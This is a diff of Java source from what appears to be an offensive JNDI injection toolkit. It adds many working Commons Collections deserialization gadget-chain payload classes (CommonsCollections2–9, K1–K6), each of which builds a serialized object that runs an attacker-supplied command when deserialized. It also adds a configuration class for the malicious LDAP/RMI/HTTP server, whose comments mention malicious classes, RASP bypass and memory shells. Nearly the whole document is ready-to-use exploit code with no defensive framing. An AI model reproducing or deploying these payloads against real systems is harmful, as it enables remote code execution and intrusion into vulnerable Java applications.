||||
hashtable.put(defaultedMap2, 1);
|
||||
defaultedMap2.remove("yy");
|
||||
|
||||
return hashtable;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import org.apache.commons.collections4.comparators.TransformingComparator;
|
||||
import org.apache.commons.collections4.functors.InvokerTransformer;
|
||||
|
||||
import java.util.PriorityQueue;
|
||||
import java.util.Queue;
|
||||
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
|
||||
@Authors({Authors.FROHOFF})
|
||||
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
|
||||
|
||||
public Queue<Object> getObject(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(transformer));
|
||||
queue.add(1);
|
||||
queue.add(1);
|
||||
|
||||
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{templates, templates});
|
||||
|
||||
return queue;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.JavaVersion;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.functors.InstantiateTransformer;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import javax.xml.transform.Templates;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
|
||||
/**
|
||||
* Variation on CommonsCollections1 that uses InstantiateTransformer instead of
|
||||
* InvokerTransformer.
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked", "restriction", "unused"})
|
||||
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||
@Authors({Authors.FROHOFF})
|
||||
public class CommonsCollections3 implements ObjectPayload<Object> {
|
||||
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
return JavaVersion.isAnnInvHUniversalMethodImpl();
|
||||
}
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object templatesImpl;
|
||||
templatesImpl = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
|
||||
// inert chain for setup
|
||||
final Transformer transformerChain = new ChainedTransformer(
|
||||
new Transformer[]{new ConstantTransformer(1)});
|
||||
// real chain for after setup
|
||||
final Transformer[] transformers = new Transformer[]{
|
||||
new ConstantTransformer(TrAXFilter.class),
|
||||
new InstantiateTransformer(
|
||||
new Class[]{Templates.class},
|
||||
new Object[]{templatesImpl})};
|
||||
|
||||
final Map innerMap = new HashMap();
|
||||
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
|
||||
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
|
||||
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
|
||||
|
||||
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
|
||||
|
||||
return handler;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
|
||||
import org.apache.commons.collections4.Transformer;
|
||||
import org.apache.commons.collections4.comparators.TransformingComparator;
|
||||
import org.apache.commons.collections4.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections4.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections4.functors.InstantiateTransformer;
|
||||
|
||||
import javax.xml.transform.Templates;
|
||||
import java.util.PriorityQueue;
|
||||
import java.util.Queue;
|
||||
|
||||
|
||||
/**
|
||||
* Variation on CommonsCollections2 that uses InstantiateTransformer instead of
|
||||
* InvokerTransformer.
|
||||
*/
|
||||
|
||||
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
|
||||
@Authors({Authors.FROHOFF})
|
||||
public class CommonsCollections4 implements ObjectPayload<Queue<Object>> {
|
||||
|
||||
public Queue<Object> getObject(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
ConstantTransformer constant = new ConstantTransformer(String.class);
|
||||
|
||||
// mock method name until armed
|
||||
Class[] paramTypes = new Class[]{String.class};
|
||||
Object[] args = new Object[]{Utils.generateRandomString(4)};
|
||||
InstantiateTransformer instantiate = new InstantiateTransformer(
|
||||
paramTypes, args);
|
||||
|
||||
// grab defensively copied arrays
|
||||
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
|
||||
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
|
||||
|
||||
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{constant, instantiate});
|
||||
|
||||
// create queue with numbers
|
||||
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
|
||||
queue.add(1);
|
||||
queue.add(1);
|
||||
|
||||
// swap in values to arm
|
||||
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
|
||||
paramTypes[0] = Templates.class;
|
||||
args[0] = templates;
|
||||
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,65 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.JavaVersion;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* Gadget chain:
|
||||
* ObjectInputStream.readObject()
|
||||
* BadAttributeValueExpException.readObject()
|
||||
* TiedMapEntry.toString()
|
||||
* LazyMap.get()
|
||||
* ChainedTransformer.transform()
|
||||
* ConstantTransformer.transform()
|
||||
* InvokerTransformer.transform()
|
||||
* Method.invoke()
|
||||
* Class.getMethod()
|
||||
* InvokerTransformer.transform()
|
||||
* Method.invoke()
|
||||
* Runtime.getRuntime()
|
||||
* InvokerTransformer.transform()
|
||||
* Method.invoke()
|
||||
* Runtime.exec()
|
||||
* <p>
|
||||
* Requires:
|
||||
* commons-collections
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unused"})
|
||||
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||
@Authors({Authors.MATTHIASKAISER, Authors.JASINNER})
|
||||
public class CommonsCollections5 implements ObjectPayload<BadAttributeValueExpException> {
|
||||
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
return JavaVersion.isBadAttrValExcReadObj();
|
||||
}
|
||||
|
||||
public BadAttributeValueExpException getObject(String command) throws Exception {
|
||||
|
||||
// inert chain for setup
|
||||
final Transformer transformerChain = new ChainedTransformer(
|
||||
new Transformer[]{new ConstantTransformer(1)});
|
||||
// real chain for after setup
|
||||
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||
final Map innerMap = new HashMap();
|
||||
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
|
||||
TiedMapEntry entry = new TiedMapEntry(lazyMap, "QI4L");
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
Reflections.setFieldValue(val, "val", entry);
|
||||
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
|
||||
|
||||
return val;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,87 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.io.Serializable;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
|
||||
|
||||
/**
|
||||
* Gadget chain:
|
||||
* java.io.ObjectInputStream.readObject()
|
||||
* java.util.HashSet.readObject()
|
||||
* java.util.HashMap.put()
|
||||
* java.util.HashMap.hash()
|
||||
* org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
|
||||
* org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
|
||||
* org.apache.commons.collections.map.LazyMap.get()
|
||||
* org.apache.commons.collections.functors.ChainedTransformer.transform()
|
||||
* org.apache.commons.collections.functors.InvokerTransformer.transform()
|
||||
* java.lang.reflect.Method.invoke()
|
||||
* java.lang.Runtime.exec()
|
||||
* <p>
|
||||
* by @matthias_kaiser
|
||||
*/
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||
@Authors({Authors.MATTHIASKAISER})
|
||||
public class CommonsCollections6 implements ObjectPayload<Serializable> {
|
||||
public Serializable getObject(String command) throws Exception {
|
||||
|
||||
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||
|
||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
||||
|
||||
final Map innerMap = new HashMap();
|
||||
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
|
||||
TiedMapEntry entry = new TiedMapEntry(lazyMap, "QI4L");
|
||||
HashSet map = new HashSet(1);
|
||||
map.add("QI4L");
|
||||
Field f = null;
|
||||
try {
|
||||
f = HashSet.class.getDeclaredField("map");
|
||||
} catch (NoSuchFieldException e) {
|
||||
f = HashSet.class.getDeclaredField("backingMap");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(f);
|
||||
HashMap innimpl = (HashMap) f.get(map);
|
||||
|
||||
Field f2 = null;
|
||||
try {
|
||||
f2 = HashMap.class.getDeclaredField("table");
|
||||
} catch (NoSuchFieldException e) {
|
||||
f2 = HashMap.class.getDeclaredField("elementData");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(f2);
|
||||
Object[] array = (Object[]) f2.get(innimpl);
|
||||
|
||||
Object node = array[0];
|
||||
if (node == null) {
|
||||
node = array[1];
|
||||
}
|
||||
|
||||
Field keyField = null;
|
||||
try {
|
||||
keyField = node.getClass().getDeclaredField("key");
|
||||
} catch (Exception e) {
|
||||
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(keyField);
|
||||
keyField.set(node, entry);
|
||||
|
||||
return map;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Hashtable;
|
||||
import java.util.Map;
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||
@Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI})
|
||||
|
||||
public class CommonsCollections7 implements ObjectPayload<Hashtable> {
|
||||
|
||||
public Hashtable getObject(String command) throws Exception {
|
||||
|
||||
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
|
||||
|
||||
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||
|
||||
Map innerMap1 = new HashMap();
|
||||
Map innerMap2 = new HashMap();
|
||||
|
||||
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
|
||||
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
|
||||
lazyMap1.put("yy", 1);
|
||||
|
||||
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
|
||||
lazyMap2.put("zZ", 1);
|
||||
|
||||
// Use the colliding Maps as keys in Hashtable
|
||||
Hashtable hashtable = new Hashtable();
|
||||
hashtable.put(lazyMap1, 1);
|
||||
hashtable.put(lazyMap2, 2);
|
||||
|
||||
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
|
||||
|
||||
// Needed to ensure hash collision after previous manipulations
|
||||
lazyMap2.remove("yy");
|
||||
|
||||
return hashtable;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import org.apache.commons.collections4.Transformer;
|
||||
import org.apache.commons.collections4.bag.TreeBag;
|
||||
import org.apache.commons.collections4.comparators.TransformingComparator;
|
||||
import org.apache.commons.collections4.functors.InvokerTransformer;
|
||||
|
||||
import java.util.Comparator;
|
||||
|
||||
|
||||
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
|
||||
@Authors({"navalorenzo"})
|
||||
|
||||
public class CommonsCollections8 implements ObjectPayload<TreeBag> {
|
||||
|
||||
|
||||
public TreeBag getObject(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
|
||||
TransformingComparator comp = new TransformingComparator((Transformer) transformer);
|
||||
TreeBag tree = new TreeBag((Comparator) comp);
|
||||
tree.add(templates);
|
||||
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
|
||||
return tree;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.DefaultedMap;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
@Dependencies({"commons-collections:commons-collections:3.2.1"})
|
||||
@Authors({"梅子酒"})
|
||||
|
||||
public class CommonsCollections9 implements ObjectPayload<BadAttributeValueExpException> {
|
||||
|
||||
public BadAttributeValueExpException getObject(String command) throws Exception {
|
||||
String[] execArgs = {command};
|
||||
Class c = (execArgs.length > 1) ? String[].class : String.class;
|
||||
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{(Transformer) new ConstantTransformer(Integer.valueOf(1))});
|
||||
Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||
Map<Object, Object> innerMap = new HashMap<Object, Object>();
|
||||
Map defaultedmap = DefaultedMap.decorate(innerMap, (Transformer) chainedTransformer);
|
||||
TiedMapEntry entry = new TiedMapEntry(defaultedmap, "QI4L");
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
Reflections.setFieldValue(val, "val", entry);
|
||||
Reflections.setFieldValue(chainedTransformer, "iTransformers", transformers);
|
||||
return val;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
|
||||
/**
|
||||
* Gadget chain:
|
||||
* HashMap
|
||||
* TiedMapEntry.hashCode
|
||||
* TiedMapEntry.getValue
|
||||
* LazyMap.decorate
|
||||
* InvokerTransformer
|
||||
* templates...
|
||||
*/
|
||||
|
||||
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||
public class CommonsCollectionsK1 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
|
||||
HashMap<String, String> innerMap = new HashMap<String, String>();
|
||||
Map m = LazyMap.decorate(innerMap, transformer);
|
||||
Map outerMap = new HashMap();
|
||||
TiedMapEntry tied = new TiedMapEntry(m, templates);
|
||||
outerMap.put(tied, "t");
|
||||
// clear the inner map data, this is important
|
||||
innerMap.clear();
|
||||
|
||||
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
|
||||
|
||||
return outerMap;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import org.apache.commons.collections4.functors.InvokerTransformer;
|
||||
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections4.map.LazyMap;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
@Dependencies({"commons-collections:commons-collections:4.0"})
|
||||
public class CommonsCollectionsK2 implements ReleaseableObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
|
||||
HashMap<String, String> innerMap = new HashMap<String, String>();
|
||||
Map m = LazyMap.lazyMap(innerMap, transformer);
|
||||
Map outerMap = new HashMap();
|
||||
TiedMapEntry tied = new TiedMapEntry(m, templates);
|
||||
outerMap.put(tied, "t");
|
||||
// clear the inner map data, this is important
|
||||
innerMap.clear();
|
||||
|
||||
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
|
||||
|
||||
return outerMap;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void release(Object obj) throws Exception {
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||
@Authors({Authors.MATTHIASKAISER})
|
||||
public class CommonsCollectionsK3 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
|
||||
Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
|
||||
Map innerMap = new HashMap();
|
||||
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
|
||||
TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L");
|
||||
Map expMap = new HashMap();
|
||||
expMap.put(tme, "QI5L");
|
||||
outerMap.remove("QI4L");
|
||||
|
||||
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
|
||||
return expMap;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
|
||||
import org.apache.commons.collections4.Transformer;
|
||||
import org.apache.commons.collections4.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections4.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections4.map.LazyMap;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
@Dependencies({"commons-collections:commons-collections:4.0"})
|
||||
@Authors({Authors.MATTHIASKAISER})
|
||||
public class CommonsCollectionsK4 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
|
||||
final Transformer[] transformers = (Transformer[]) TransformerUtil.makeTransformer(command);
|
||||
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
|
||||
Map innerMap = new HashMap();
|
||||
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
|
||||
TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L");
|
||||
Map expMap = new HashMap();
|
||||
expMap.put(tme, "QI4L");
|
||||
outerMap.remove("QI4L");
|
||||
|
||||
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
|
||||
return expMap;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
|
||||
import org.apache.commons.collections4.Transformer;
|
||||
import org.apache.commons.collections4.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections4.map.LazyMap;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Hashtable;
|
||||
import java.util.Map;
|
||||
|
||||
@Dependencies({"commons-collections:commons-collections:4.0"})
|
||||
@Authors({Authors.QI4L})
|
||||
public class CommonsCollectionsK5 implements ObjectPayload<Hashtable> {
|
||||
|
||||
public Hashtable getObject(String command) throws Exception {
|
||||
|
||||
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
|
||||
final Transformer[] transformers = (Transformer[]) TransformerUtil.makeTransformer(command);
|
||||
Map innerMap1 = new HashMap();
|
||||
Map innerMap2 = new HashMap();
|
||||
|
||||
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
|
||||
Map lazyMap1 = LazyMap.lazyMap(innerMap1, transformerChain);
|
||||
lazyMap1.put("yy", 1);
|
||||
|
||||
Map lazyMap2 = LazyMap.lazyMap(innerMap2, transformerChain);
|
||||
lazyMap2.put("zZ", 1);
|
||||
|
||||
// Use the colliding Maps as keys in Hashtable
|
||||
Hashtable hashtable = new Hashtable();
|
||||
hashtable.put(lazyMap1, 1);
|
||||
hashtable.put(lazyMap2, 2);
|
||||
|
||||
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
|
||||
|
||||
// Needed to ensure hash collision after previous manipulations
|
||||
lazyMap2.remove("yy");
|
||||
|
||||
return hashtable;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.enumtypes.PayloadType;
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import org.apache.commons.collections4.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections4.functors.InvokerTransformer;
|
||||
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections4.map.LazyMap;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
|
||||
@Dependencies({"commons-collections:commons-collections:4.0"})
|
||||
@Authors({Authors.QI4L})
|
||||
public class CommonsCollectionsK6 implements ObjectPayload<Object> {
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
|
||||
HashMap<Object, Object> map = new HashMap<>();
|
||||
Map<Object, Object> lazyMap = LazyMap.lazyMap(map, new ConstantTransformer(1));
|
||||
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
|
||||
|
||||
HashMap<Object, Object> expMap = new HashMap<>();
|
||||
expMap.put(tiedMapEntry, "QI4L");
|
||||
lazyMap.remove(templates);
|
||||
|
||||
Reflections.setFieldValue(lazyMap, "factory", invokerTransformer);
|
||||
|
||||
return expMap;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,213 @@
|
||||
package com.qi4l.jndi.gadgets.Config;
|
||||
|
||||
import com.beust.jcommander.JCommander;
|
||||
import com.beust.jcommander.Parameter;
|
||||
import com.beust.jcommander.UnixStyleUsageFormatter;
|
||||
import com.qi4l.jndi.Starter;
|
||||
import com.qi4l.jndi.gadgets.ObjectPayload;
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.StringUtil;
|
||||
import javassist.ClassPool;
|
||||
|
||||
import java.util.*;
|
||||
|
||||
public class Config {
|
||||
public static String codeBase;
|
||||
|
||||
@Parameter(names = {"-i", " --ip"}, description = "Local ip address ", order = 1)
|
||||
public static String ip = "0.0.0.0";
|
||||
|
||||
@Parameter(names = {"-lP", "--ldapPort"}, description = "Ldap bind port", order = 2)
|
||||
public static int ldapPort = 1389;
|
||||
|
||||
@Parameter(names = {"-rP", "--rmiPort"}, description = "rmi bind port", order = 2)
|
||||
public static int rmiPort = 1099;
|
||||
|
||||
@Parameter(names = {"-hP", "--httpPort"}, description = "Http bind port", order = 3)
|
||||
public static int httpPort = 3456;
|
||||
@Parameter(names = {"-c", " --command"}, help = true, description = "RMI this command")
|
||||
public static String command = "whoami";
|
||||
@Parameter(names = {"-v", " --version"}, description = "Show version", order = 5)
|
||||
public static boolean showVersion;
|
||||
@Parameter(names = {"-ga", " --gadgets"}, description = "Show gadgets", order = 5)
|
||||
public static boolean showGadgets;
|
||||
@Parameter(names = {"-ak", " --AESkey"}, description = "AES+BAse64 decryption of routes", order = 5)
|
||||
public static String AESkey = "123";
|
||||
@Parameter(names = {"-u", " --user"}, description = "ldap bound account", order = 5)
|
||||
public static String USER = "";
|
||||
@Parameter(names = {"-p", " --PASSWD"}, description = "ldap binding password", order = 5)
|
||||
public static String PASSWD = "";
|
||||
@Parameter(names = {"-j", "--jndi"}, description = "starter", order = 5)
|
||||
public static boolean jndi = false;
|
||||
public static String rhost;
|
||||
public static String rport;
|
||||
// 从HTTP外部获取路由值
|
||||
public static String ROUTE = "";
|
||||
// 从HTTP外部获取参数值
|
||||
public static String BCEL1 = "";
|
||||
// 恶意类是否继承 AbstractTranslet
|
||||
public static Boolean IS_INHERIT_ABSTRACT_TRANSLET = false;
|
||||
//是否使用反射绕过RASP
|
||||
public static Boolean IS_OBSCURE = false;
|
||||
// 各种方式的内存马映射的路径
|
